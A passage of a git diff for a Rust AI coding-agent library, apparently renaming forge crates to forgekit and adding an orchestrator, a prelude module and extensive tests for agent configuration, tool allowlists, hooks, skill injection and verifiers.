futures::future::join_all(handles).await; + + results + .into_iter() + .map(|(id, result)| match result { + Ok(answer) => OrchestrateResult::success(&id, answer), + Err(e) => OrchestrateResult::failure(&id, format!("{e}")), + }) + .collect() + } +} + +impl Default for Orchestrator { + fn default() -> Self { + Self::new() + } +} diff --git a/forgekit_agent/src/orchestrate_tests.rs b/forgekit_agent/src/orchestrate_tests.rs new file mode 100644 index 0000000..8b1187a --- /dev/null +++ b/forgekit_agent/src/orchestrate_tests.rs @@ -0,0 +1,120 @@ +use std::sync::Arc; + +use crate::chat::providers::mock::MockChatProvider; +use crate::llm::LlmConfig; +use crate::orchestrate::{OrchestrateResult, Orchestrator}; +use crate::Agent; + +async fn make_agent(temp: &tempfile::TempDir, answer: &str) -> Agent { + let provider = Arc::new(MockChatProvider::from_text(answer)); + let config = LlmConfig::new("test-model"); + Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) +} + +#[tokio::test] +async fn sequential_chain_passes_results() { + let temp = tempfile::tempdir().unwrap(); + let agent1 = make_agent(&temp, "step 1 done").await; + let agent2 = make_agent(&temp, "step 2 done").await; + + let orchestrator = Orchestrator::new().add_agent(agent1).add_agent(agent2); + + let results = orchestrator.run_sequential("start").await; + assert!(results.is_ok()); + let outputs = results.unwrap(); + assert_eq!(outputs.len(), 2); + assert_eq!(outputs[0].result(), "step 1 done"); + assert_eq!(outputs[1].result(), "step 2 done"); +} + +#[tokio::test] +async fn parallel_fan_out_collects_all() { + let temp = tempfile::tempdir().unwrap(); + let agent1 = make_agent(&temp, "answer A").await; + let agent2 = make_agent(&temp, "answer B").await; + let agent3 = make_agent(&temp, "answer C").await; + + let orchestrator = Orchestrator::new() + .add_agent(agent1) + .add_agent(agent2) + .add_agent(agent3); + + let results = orchestrator.run_parallel("query").await; + assert!(results.is_ok()); + let outputs = results.unwrap(); + assert_eq!(outputs.len(), 3); + let answers: Vec<&str> = outputs.iter().map(|r| r.result()).collect(); + assert!(answers.contains(&"answer A")); + assert!(answers.contains(&"answer B")); + assert!(answers.contains(&"answer C")); +} + +#[tokio::test] +async fn sequential_stops_on_error() { + let temp = tempfile::tempdir().unwrap(); + let agent_no_provider = Agent::new(temp.path()).await.unwrap(); + let agent2 = make_agent(&temp, "should not run").await; + + let orchestrator = Orchestrator::new() + .add_agent(agent_no_provider) + .add_agent(agent2); + + let results = orchestrator.run_sequential("test").await; + assert!(results.is_err()); +} + +#[tokio::test] +async fn parallel_collects_partial_results_on_error() { + let temp = tempfile::tempdir().unwrap(); + let agent_ok = make_agent(&temp, "good result").await; + let agent_no_provider = Agent::new(temp.path()).await.unwrap(); + + let orchestrator = Orchestrator::new() + .add_agent(agent_ok) + .add_agent(agent_no_provider); + + let results = orchestrator.run_parallel_allow_partial("test").await; + assert_eq!(results.len(), 2); + let successes: Vec<_> = results.iter().filter(|r| r.is_success()).collect(); + let failures: Vec<_> = results.iter().filter(|r| !r.is_success()).collect(); + assert_eq!(successes.len(), 1); + assert_eq!(failures.len(), 1); + assert_eq!(successes[0].result(), "good result"); +} + +#[tokio::test] +async fn empty_orchestrator_returns_empty() { + let orchestrator: Orchestrator = Orchestrator::new(); + let results = orchestrator.run_sequential("test").await; + assert!(results.unwrap().is_empty()); + + let orchestrator: Orchestrator = Orchestrator::new(); + let results = orchestrator.run_parallel("test").await; + assert!(results.unwrap().is_empty()); +} + +#[tokio::test] +async fn single_agent_orchestration() { + let temp = tempfile::tempdir().unwrap(); + let agent = make_agent(&temp, "solo answer").await; + + let orchestrator = Orchestrator::new().add_agent(agent); + let results = orchestrator.run_sequential("test").await; + assert_eq!(results.unwrap().len(), 1); +} + +#[test] +fn orchestrate_result_accessors() { + let ok = OrchestrateResult::success("agent-1", "hello".to_string()); + assert!(ok.is_success()); + assert_eq!(ok.agent_id(), "agent-1"); + assert_eq!(ok.result(), "hello"); + + let err = OrchestrateResult::failure("agent-2", "failed".to_string()); + assert!(!err.is_success()); + assert_eq!(err.agent_id(), "agent-2"); + assert_eq!(err.error().unwrap(), "failed"); +} diff --git a/forge_agent/src/planner/mod.rs b/forgekit_agent/src/planner/mod.rs similarity index 99% rename from forge_agent/src/planner/mod.rs rename to forgekit_agent/src/planner/mod.rs index 20a54d1..8a59b9c 100644 --- a/forge_agent/src/planner/mod.rs +++ b/forgekit_agent/src/planner/mod.rs @@ -396,14 +396,13 @@ Output ONLY a JSON array. No explanation."; for (file, regions) in &file_regions { for i in 0..regions.len() { for j in (i + 1)..regions.len() { - let (idx1, start1, end1) = regions[i]; - let (idx2, start2, end2) = regions[j]; + let (_, start1, end1) = regions[i]; + let (_, start2, end2) = regions[j]; // Two intervals [start1,end1) and [start2,end2) overlap // when start1 < end2 && start2 < end1 if start1 < end2 && start2 < end1 { conflicts.push(Conflict { - step_indices: vec![idx1, idx2], file: file.clone(), reason: ConflictReason::OverlappingRegion { start: start1.min(start2), diff --git a/forge_agent/src/planner/parsing.rs b/forgekit_agent/src/planner/parsing.rs similarity index 98% rename from forge_agent/src/planner/parsing.rs rename to forgekit_agent/src/planner/parsing.rs index 45bf840..e51fef1 100644 --- a/forge_agent/src/planner/parsing.rs +++ b/forgekit_agent/src/planner/parsing.rs @@ -50,7 +50,7 @@ pub(crate) fn json_value_to_step(val: &serde_json::Value) -> Option { let name = obj.get("symbol_name")?.as_str()?.to_string(); let id = obj.get("symbol_id").and_then(|v| v.as_u64())?; PlanOperation::Inspect { - symbol_id: forge_core::types::SymbolId(id as i64), + symbol_id: forgekit_core::types::SymbolId(id as i64), symbol_name: name, } } diff --git a/forge_agent/src/planner/tests.rs b/forgekit_agent/src/planner/tests.rs similarity index 99% rename from forge_agent/src/planner/tests.rs rename to forgekit_agent/src/planner/tests.rs index a6a5917..f7c8d17 100644 --- a/forge_agent/src/planner/tests.rs +++ b/forgekit_agent/src/planner/tests.rs @@ -394,7 +394,7 @@ async fn test_planner_enriches_create_step_via_generator() { )); let temp_dir = tempfile::TempDir::new().unwrap(); - let forge = forge_core::Forge::open(temp_dir.path()).await.unwrap(); + let forge = forgekit_core::Forge::open(temp_dir.path()).await.unwrap(); let generator = Arc::new(Generator::new(Arc::new(forge), gen_llm)); let planner = Planner::new() diff --git a/forge_agent/src/planner/types.rs b/forgekit_agent/src/planner/types.rs similarity index 91% rename from forge_agent/src/planner/types.rs rename to forgekit_agent/src/planner/types.rs index f67b749..a6d7b6b 100644 --- a/forge_agent/src/planner/types.rs +++ b/forgekit_agent/src/planner/types.rs @@ -20,7 +20,7 @@ pub enum PlanOperation { content: String, }, Inspect { - symbol_id: forge_core::types::SymbolId, + symbol_id: forgekit_core::types::SymbolId, symbol_name: String, }, Modify { @@ -39,7 +39,6 @@ pub struct ImpactEstimate { #[derive(Clone, Debug)] pub struct Conflict { - pub step_indices: Vec, pub file: String, pub reason: ConflictReason, } @@ -47,8 +46,6 @@ pub struct Conflict { #[derive(Clone, Debug)] pub enum ConflictReason { OverlappingRegion { start: usize, end: usize }, - CircularDependency, - MissingDependency, } #[derive(Clone, Debug)] diff --git a/forge_agent/src/policy.rs b/forgekit_agent/src/policy.rs similarity index 79% rename from forge_agent/src/policy.rs rename to forgekit_agent/src/policy.rs index d0f9973..22dc53c 100644 --- a/forge_agent/src/policy.rs +++ b/forgekit_agent/src/policy.rs @@ -4,7 +4,7 @@ //! that code changes comply with specified constraints. use crate::Result; -use forge_core::Forge; +use forgekit_core::Forge; use std::fmt; use std::sync::Arc; @@ -162,7 +162,7 @@ pub struct PolicyViolation { /// Human-readable violation message pub message: String, /// Source location (if applicable) - pub location: Option, + pub location: Option, } impl PolicyViolation { @@ -179,7 +179,7 @@ impl PolicyViolation { pub fn with_location( policy: impl Into, message: impl Into, - location: forge_core::types::Location, + location: forgekit_core::types::Location, ) -> Self { Self { policy: policy.into(), @@ -189,80 +189,6 @@ impl PolicyViolation { } } -/// Policy composition: All policies must pass. -#[derive(Clone, Debug)] -pub struct AllPolicies { - /// The policies to validate - pub policies: Vec, -} - -impl AllPolicies { - /// Creates a new AllPolicies composition. - pub fn new(policies: Vec) -> Self { - Self { policies } - } - - /// Validates all policies. - pub async fn validate(&self, forge: &Forge, diff: &Diff) -> Result { - let mut all_violations = Vec::new(); - - for policy in &self.policies { - let report = policy.validate(forge, diff).await?; - all_violations.extend(report.violations); - } - - let n = self.policies.len(); - Ok(PolicyReport { - policy: Policy::custom("All", format!("All {n} policies must pass"), |_| vec![]), - violations: all_violations.clone(), - passed: all_violations.is_empty(), - }) - } -} - -/// Policy composition: At least one policy must pass. -#[derive(Clone, Debug)] -pub struct AnyPolicy { - /// The policies to validate - pub policies: Vec, -} - -impl AnyPolicy { - /// Creates a new AnyPolicy composition. - pub fn new(policies: Vec) -> Self { - Self { policies } - } - - /// Validates that at least one policy passes. - pub async fn validate(&self, forge: &Forge, diff: &Diff) -> Result { - let mut all_violations = Vec::new(); - let mut any_passed = false; - - for policy in &self.policies { - let report = policy.validate(forge, diff).await?; - if report.passed { - any_passed = true; - } - all_violations.extend(report.violations); - } - - let n = self.policies.len(); - Ok(PolicyReport { - policy: Policy::custom( - "Any", - format!("At least one of {n} policies must pass"), - |_| vec![], - ), - violations: if any_passed { - Vec::new() - } else { - all_violations.clone() - }, - passed: any_passed, - }) - } -} - /// A diff representing code changes. /// /// This is a simplified representation - in production, this would be @@ -447,7 +373,7 @@ fn count_tests(content: &str) -> usize { #[cfg(test)] mod tests { use super::*; - use forge_core::Forge; + use forgekit_core::Forge; use std::path::PathBuf; use tempfile::TempDir; @@ -507,51 +433,6 @@ mod tests { assert!(!report.passed); } - #[tokio::test] - async fn test_all_policies() { - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - - let diff = Diff { - file_path: PathBuf::from("test.rs"), - original: "".to_string(), - modified: "pub fn safe() {}".to_string(), - changes: vec![], - }; - - let policies = vec![Policy::NoUnsafeInPublicAPI, Policy::PreserveTests]; - - let all = AllPolicies::new(policies); - let report = all.validate(&forge, &diff).await.unwrap(); - - assert!(report.passed); - } - - #[tokio::test] - async fn test_any_policy() { - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - - let diff = Diff { - file_path: PathBuf::from("test.rs"), - original: "".to_string(), - modified: "pub unsafe fn dangerous() {}".to_string(), - changes: vec![], - }; - - let policies = vec![ - Policy::NoUnsafeInPublicAPI, - Policy::custom("AlwaysPass", "Always passes", |_| vec![]), - ]; - - let any = AnyPolicy::new(policies); - let report = any.validate(&forge, &diff).await.unwrap(); - - // NoUnsafeInPublicAPI fails on `pub unsafe fn`, but AlwaysPass has no violations. - // AnyPolicy passes when at least one policy passes. - assert!(report.passed); - } - #[tokio::test] async fn test_count_tests() { let content = r#" @@ -572,7 +453,7 @@ mod tests { #[tokio::test] async fn test_custom_policy_passing_validator() { let temp = tempfile::tempdir().unwrap(); - let forge = forge_core::Forge::open(temp.path()).await.unwrap(); + let forge = forgekit_core::Forge::open(temp.path()).await.unwrap(); // Validator that always passes (no violations) let policy = Policy::custom("allow-all", "permits everything", |_diff| vec![]); @@ -594,7 +475,7 @@ mod tests { #[tokio::test] async fn test_custom_policy_failing_validator() { let temp = tempfile::tempdir().unwrap(); - let forge = forge_core::Forge::open(temp.path()).await.unwrap(); + let forge = forgekit_core::Forge::open(temp.path()).await.unwrap(); // Validator that always fires a violation let policy = Policy::custom("no-changes", "forbids any diff", |diff| { diff --git a/forgekit_agent/src/prelude.rs b/forgekit_agent/src/prelude.rs new file mode 100644 index 0000000..ca00514 --- /dev/null +++ b/forgekit_agent/src/prelude.rs @@ -0,0 +1,29 @@ +//! SDK prelude β€” common imports for agent-based applications. +//! +//! ``` +//! use forgekit_agent::prelude::*; +//! ``` + +pub use crate::agent::Agent; +pub use crate::builder::{agent_builder, AgentBuilder, NeedsProvider, Ready}; +pub use crate::chat::AsyncTool; +pub use crate::chat::BuiltinToolRegistry; +pub use crate::chat::ChatMessage; +pub use crate::chat::ChatProvider; +pub use crate::chat::ChatResponse; +pub use crate::chat::CodeRetriever; +pub use crate::chat::ContentBlock; +pub use crate::chat::EventBus; +pub use crate::chat::HookConfig; +pub use crate::chat::LlmError; +pub use crate::chat::SkillRegistry; +pub use crate::chat::StepEvent; +pub use crate::chat::ToolDef; +pub use crate::chat::ToolOutput; +pub use crate::chat::ToolRegistry; +pub use crate::chat::VerifierFn; +pub use crate::llm::LlmConfig; +pub use crate::llm::LlmProvider; +pub use crate::AgentError; +pub use crate::AgentTask; +pub use crate::Result; diff --git a/forge_agent/src/runtime_integration.rs b/forgekit_agent/src/runtime_integration.rs similarity index 96% rename from forge_agent/src/runtime_integration.rs rename to forgekit_agent/src/runtime_integration.rs index 319032f..a069093 100644 --- a/forge_agent/src/runtime_integration.rs +++ b/forgekit_agent/src/runtime_integration.rs @@ -4,7 +4,7 @@ //! for coordinated file watching, caching, and automatic re-indexing. use crate::{Agent, AgentError, LoopResult}; -use forge_runtime::ForgeRuntime; +use forgekit_runtime::ForgeRuntime; use std::path::Path; use std::sync::Arc; @@ -26,7 +26,7 @@ impl Agent { /// # Example /// /// ```no_run - /// use forge_agent::Agent; + /// use forgekit_agent::Agent; /// /// # #[tokio::main] /// # async fn main() -> Result<(), Box> { @@ -78,7 +78,7 @@ impl Agent { /// # Example /// /// ```no_run - /// use forge_agent::Agent; + /// use forgekit_agent::Agent; /// /// # #[tokio::main] /// # async fn main() -> Result<(), Box> { @@ -120,7 +120,7 @@ impl Agent { } /// Access runtime statistics (cache size, watch status, reindex count). - pub fn runtime_stats(&self, runtime: &ForgeRuntime) -> forge_runtime::RuntimeStats { + pub fn runtime_stats(&self, runtime: &ForgeRuntime) -> forgekit_runtime::RuntimeStats { runtime.stats() } } @@ -131,13 +131,13 @@ impl Agent { /// the cached response without hitting the underlying provider. pub struct CachingLlmProvider { inner: Arc, - cache: forge_core::QueryCache, + cache: forgekit_core::QueryCache, } impl CachingLlmProvider { pub fn new( inner: Arc, - cache: forge_core::QueryCache, + cache: forgekit_core::QueryCache, ) -> Self { Self { inner, cache } } @@ -196,7 +196,7 @@ mod tests { #[tokio::test] async fn test_caching_llm_provider_deduplicates_calls() { use crate::llm::{LlmProvider, MockProvider}; - use forge_core::QueryCache; + use forgekit_core::QueryCache; use std::sync::Arc; use std::time::Duration; diff --git a/forgekit_agent/src/tests.rs b/forgekit_agent/src/tests.rs new file mode 100644 index 0000000..6007b6e --- /dev/null +++ b/forgekit_agent/src/tests.rs @@ -0,0 +1,876 @@ +use super::*; +use crate::chat::AsyncTool; +use std::sync::Arc; + +#[tokio::test] +async fn test_agent_creation() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + assert_eq!(agent.codebase_path, temp.path()); +} + +#[tokio::test] +async fn test_agent_with_runtime() { + let temp = tempfile::tempdir().unwrap(); + let (_agent, runtime) = Agent::with_runtime(temp.path()).await.unwrap(); + + assert_eq!(runtime.codebase_path(), temp.path()); +} + +#[tokio::test] +async fn test_agent_runtime_stats() { + let temp = tempfile::tempdir().unwrap(); + let (_agent, runtime) = Agent::with_runtime(temp.path()).await.unwrap(); + + let stats = runtime.stats(); + assert!(!stats.watch_active); +} + +#[tokio::test] +async fn test_agent_backward_compatibility() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + assert_eq!(agent.codebase_path, temp.path()); +} + +#[tokio::test] +async fn test_agent_with_llm_provider() { + let temp = tempfile::tempdir().unwrap(); + let mock = std::sync::Arc::new(llm::MockProvider::new("mocked LLM response")); + let agent = Agent::new(temp.path()).await.unwrap().with_llm(mock); + + assert!(agent.llm.is_some()); +} + +#[tokio::test] +async fn test_agent_without_llm_provider() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + assert!(agent.llm.is_none()); +} + +#[cfg(feature = "envoy")] +#[tokio::test] +async fn test_agent_with_envoy() { + let temp = tempfile::tempdir().unwrap(); + let config = envoy::EnvoyConfig { + url: "http://localhost:9999".to_string(), + agent_name: "test-forge".to_string(), + }; + let client = envoy::EnvoyClient::new(config); + let agent = Agent::new(temp.path()).await.unwrap().with_envoy(client); + + assert!(agent.envoy.is_some()); +} + +#[cfg(feature = "envoy")] +#[tokio::test] +async fn test_agent_without_envoy() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + assert!(agent.envoy.is_none()); +} + +#[tokio::test] +async fn test_agent_run_workflow_passes_forge() { + use crate::workflow::dag::Workflow; + use crate::workflow::task::{TaskContext, TaskError, TaskId, TaskResult, WorkflowTask}; + use async_trait::async_trait; + + struct ForgeCheckTask; + #[async_trait] + impl WorkflowTask for ForgeCheckTask { + async fn execute(&self, ctx: &TaskContext) -> std::result::Result { + if ctx.forge.is_some() { + Ok(TaskResult::Success) + } else { + Err(TaskError::ExecutionFailed("no forge".to_string())) + } + } + fn id(&self) -> TaskId { + TaskId::new("forge-check") + } + fn name(&self) -> &str { + "ForgeCheckTask" + } + } + + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(ForgeCheckTask)); + + let result = agent.run_workflow(workflow).await; + assert!(result.is_ok(), "run_workflow failed: {:?}", result.err()); + assert!(result.unwrap().success); +} + +#[tokio::test] +async fn agent_config_from_forge_toml() { + let temp = tempfile::tempdir().unwrap(); + std::fs::write( + temp.path().join(".forge.toml"), + "[agent]\nmax_iterations = 25\nstep_retries = 5\nretrieval_top_k = 15\n", + ) + .unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + assert_eq!(agent.max_iterations, 25); + assert_eq!(agent.step_retries, 5); + assert_eq!(agent.retrieval_top_k, 15); +} + +#[tokio::test] +async fn agent_config_system_prompt_override() { + let temp = tempfile::tempdir().unwrap(); + std::fs::write( + temp.path().join(".forge.toml"), + "[agent]\nsystem_prompt = \"Custom prompt.\"\n", + ) + .unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + let prompt = agent.build_system_prompt(); + assert!(prompt.contains("Custom prompt.")); + assert!(prompt.contains("autonomous coding agent")); +} + +#[tokio::test] +async fn agent_config_defaults_without_file() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + assert_eq!(agent.max_iterations, 10); + assert_eq!(agent.step_retries, 2); + assert_eq!(agent.retrieval_top_k, 5); + assert!(agent.custom_system_prompt.is_none()); +} + +#[tokio::test] +async fn agent_config_tool_allowlist() { + let temp = tempfile::tempdir().unwrap(); + std::fs::write( + temp.path().join(".forge.toml"), + "[agent]\ntools = [\"file_read\"]\n", + ) + .unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + let registry = agent.build_tool_registry(); + use chat::ToolRegistry; + assert!(registry.has_tool("file_read")); + assert!(!registry.has_tool("file_write")); + assert!(!registry.has_tool("shell_exec")); +} + +#[tokio::test] +async fn test_agent_run_workflow_passes_forge_continued() { + use crate::workflow::dag::Workflow; + use crate::workflow::task::{TaskContext, TaskError, TaskId, TaskResult, WorkflowTask}; + use async_trait::async_trait; + + struct ForgeCheckTask2; + #[async_trait] + impl WorkflowTask for ForgeCheckTask2 { + async fn execute(&self, ctx: &TaskContext) -> std::result::Result { + if ctx.forge.is_some() { + Ok(TaskResult::Success) + } else { + Err(TaskError::ExecutionFailed("no forge".to_string())) + } + } + fn id(&self) -> TaskId { + TaskId::new("forge-check-2") + } + fn name(&self) -> &str { + "ForgeCheckTask2" + } + } + + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(ForgeCheckTask2)); + + let result = agent.run_workflow(workflow).await; + assert!(result.is_ok(), "run_workflow failed: {:?}", result.err()); + assert!(result.unwrap().success); +} + +#[cfg(feature = "llm-ollama")] +#[tokio::test] +async fn test_llm_config_loaded_from_forge_toml() { + let temp = tempfile::tempdir().unwrap(); + std::fs::write( + temp.path().join(".forge.toml"), + "[llm]\nprovider = \"ollama\"\nmodel = \"llama3\"\nurl = \"http://localhost:11434\"\n", + ) + .unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + assert!( + agent.llm.is_some(), + "LLM provider should be loaded from .forge.toml" + ); +} + +#[cfg(feature = "envoy")] +#[tokio::test] +async fn test_envoy_client_implements_discovery_store() { + let config = envoy::EnvoyConfig { + url: "http://localhost:9999".to_string(), + agent_name: "test-forge".to_string(), + }; + let client = std::sync::Arc::new(envoy::EnvoyClient::new(config)); + let store: std::sync::Arc = client.clone(); + store + .store( + "Symbol", + "test_symbol", + serde_json::json!({"file": "test.rs"}), + ) + .await; +} + +#[tokio::test] +async fn test_run_react_without_provider_errors() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + let result = agent.run_react("do something").await; + assert!(result.is_err()); + match result.unwrap_err() { + AgentError::ReActFailed(msg) => { + assert!(msg.contains("no ChatProvider")); + } + other => panic!("expected ReActFailed, got {other}"), + } +} + +#[tokio::test] +async fn test_with_chat_provider_configures_agent() { + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("hello")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config); + + assert!(agent.chat_provider.is_some()); + assert!(agent.chat_config.is_some()); +} + +#[tokio::test] +async fn test_run_react_returns_answer() { + let temp = tempfile::tempdir().unwrap(); + + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("The answer is 42")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config); + + let answer = agent.run_react("What is the answer?").await; + assert!(answer.is_ok(), "run_react failed: {:?}", answer.err()); + assert_eq!(answer.unwrap(), "The answer is 42"); +} + +#[tokio::test] +async fn test_run_react_tool_call_then_answer() { + let temp = tempfile::tempdir().unwrap(); + + let provider = std::sync::Arc::new( + chat::MockChatProvider::from_text("The file contains rust code") + .with_tool_call("file_read", serde_json::json!({"path": "test.txt"})), + ); + let config = llm::LlmConfig::new("test-model"); + + std::fs::write(temp.path().join("test.txt"), "hello from test").unwrap(); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config); + + let answer = agent.run_react("Read test.txt").await; + assert!(answer.is_ok(), "run_react failed: {:?}", answer.err()); + assert_eq!(answer.unwrap(), "The file contains rust code"); +} + +#[tokio::test] +async fn test_agent_with_hooks() { + let temp = tempfile::tempdir().unwrap(); + + let mut hook_config = chat::HookConfig::empty(); + hook_config.add_group( + chat::HookEvent::PreToolUse, + chat::HookGroup { + matcher: Some("shell_exec".to_string()), + hooks: vec![chat::HookSpec { + hook_type: "command".to_string(), + command: "exit 0".to_string(), + timeout: Some(5), + status_message: None, + }], + }, + ); + + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("done")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_hooks(hook_config); + + assert!(agent.hook_config.is_some()); +} + +#[tokio::test] +async fn test_agent_with_skill_registry() { + let temp = tempfile::tempdir().unwrap(); + + let skill_dir = temp.path().join(".forge").join("skills").join("test-skill"); + std::fs::create_dir_all(&skill_dir).unwrap(); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Test Skill\n\nA test skill.\nTriggers: testing, agent", + ) + .unwrap(); + + let loader = + chat::SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let registry = std::sync::Arc::new(chat::SkillRegistry::new(loader)); + + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("answer")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_skill_registry(registry); + + assert!(agent.skill_registry.is_some()); + let base_prompt = agent.build_system_prompt(); + assert!( + !base_prompt.contains("skill tool"), + "base prompt should not mention skill tool" + ); +} + +#[tokio::test] +async fn test_agent_build_tool_registry_includes_skills() { + use crate::chat::tools::registry::ToolRegistry; + + let temp = tempfile::tempdir().unwrap(); + + let skill_dir = temp.path().join(".forge").join("skills").join("my-skill"); + std::fs::create_dir_all(&skill_dir).unwrap(); + std::fs::write( + skill_dir.join("SKILL.md"), + "# My Skill\n\nA skill.\nTriggers: coding", + ) + .unwrap(); + + let loader = chat::SkillLoader::new(Some(temp.path())); + let registry = std::sync::Arc::new(chat::SkillRegistry::new(loader)); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_skill_registry(registry); + + let reg = agent.build_tool_registry(); + assert!(reg.has_tool("skill")); +} + +#[tokio::test] +async fn test_agent_build_tool_registry_without_skills() { + use crate::chat::tools::registry::ToolRegistry; + + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + let reg = agent.build_tool_registry(); + assert!(!reg.has_tool("skill")); +} + +#[tokio::test] +async fn test_build_system_prompt_for_query_injects_matched_skill() { + let temp = tempfile::tempdir().unwrap(); + + let debug_dir = temp.path().join(".forge").join("skills").join("debugging"); + std::fs::create_dir_all(&debug_dir).unwrap(); + std::fs::write( + debug_dir.join("SKILL.md"), + "---\nname: debugging\ndescription: \"Find root cause before proposing fixes\"\n---\n# Debugging\n\nTriggers: bug, test failure, unexpected behavior\n\nFind the root cause.", + ) + .unwrap(); + + let planning_dir = temp.path().join(".forge").join("skills").join("planning"); + std::fs::create_dir_all(&planning_dir).unwrap(); + std::fs::write( + planning_dir.join("SKILL.md"), + "---\nname: planning\ndescription: \"Plan a feature or refactor\"\n---\n# Planning\n\nTriggers: plan, feature, refactor\n\nPlan the change.", + ) + .unwrap(); + + let loader = + chat::SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let registry = std::sync::Arc::new(chat::SkillRegistry::new(loader)); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_skill_registry(registry); + + let prompt = agent + .build_system_prompt_for_query("fix the bug in react.rs") + .await; + assert!( + prompt.contains("debugging"), + "prompt should contain debugging skill, got: {}", + &prompt[prompt.len().saturating_sub(200)..] + ); + assert!( + prompt.contains("Auto-loaded Skills"), + "prompt should contain auto-loaded header" + ); + assert!( + !prompt.contains("planning"), + "prompt should NOT contain planning skill for a bug query" + ); +} + +#[tokio::test] +async fn test_build_system_prompt_for_query_no_match_returns_base() { + let temp = tempfile::tempdir().unwrap(); + + let skill_dir = temp.path().join(".forge").join("skills").join("obscure"); + std::fs::create_dir_all(&skill_dir).unwrap(); + std::fs::write( + skill_dir.join("SKILL.md"), + "---\nname: obscure\ndescription: \"Does zyxwvu things\"\n---\n# Obscure\n\nTriggers: zyxwvu", + ) + .unwrap(); + + let loader = + chat::SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let registry = std::sync::Arc::new(chat::SkillRegistry::new(loader)); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_skill_registry(registry); + + let prompt = agent + .build_system_prompt_for_query("write a poem about cats") + .await; + assert!( + !prompt.contains("Auto-loaded Skills"), + "unrelated query should not trigger skill injection" + ); + assert!( + prompt.contains("autonomous coding agent"), + "base prompt should still be present" + ); +} + +#[tokio::test] +async fn test_build_system_prompt_for_query_custom_prompt_appends_skills() { + let temp = tempfile::tempdir().unwrap(); + + let skill_dir = temp.path().join(".forge").join("skills").join("test-skill"); + std::fs::create_dir_all(&skill_dir).unwrap(); + std::fs::write( + skill_dir.join("SKILL.md"), + "---\nname: test-skill\ndescription: \"A test skill for testing\"\n---\n# Test\n\nTriggers: test, agent, skill", + ) + .unwrap(); + + let loader = + chat::SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let registry = std::sync::Arc::new(chat::SkillRegistry::new(loader)); + + std::fs::write( + temp.path().join(".forge.toml"), + "[agent]\nsystem_prompt = \"You are a test assistant.\"\n", + ) + .unwrap(); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_skill_registry(registry); + + assert!(agent.custom_system_prompt.is_some()); + let prompt = agent + .build_system_prompt_for_query("test this skill agent") + .await; + assert!( + prompt.contains("test assistant"), + "custom prompt should be in base" + ); + assert!( + prompt.contains("Auto-loaded Skills"), + "skills should still be appended to custom prompt" + ); +} + +#[tokio::test] +async fn test_build_system_prompt_for_query_without_registry() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + let prompt = agent.build_system_prompt_for_query("fix the bug").await; + assert!( + prompt.contains("autonomous coding agent"), + "base prompt should be present" + ); + assert!( + !prompt.contains("Auto-loaded Skills"), + "no registry means no skill injection" + ); +} + +#[tokio::test] +async fn test_agent_with_verifier_rejects_answer() { + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new( + chat::MockChatProvider::from_text("bad answer").with_text("good magic answer"), + ); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_verifier(std::sync::Arc::new(|answer: &str| answer.contains("magic"))); + + let result = agent.run_react("test").await; + assert_eq!(result.unwrap(), "good magic answer"); +} + +#[tokio::test] +async fn test_agent_with_max_iterations() { + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new( + chat::MockChatProvider::from_text("never finish") + .with_tool_call("echo", serde_json::json!({"msg": "loop"})) + .with_tool_call("echo", serde_json::json!({"msg": "loop"})), + ); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_max_iterations(2); + + let result = agent.run_react("loop").await; + match result.unwrap_err() { + 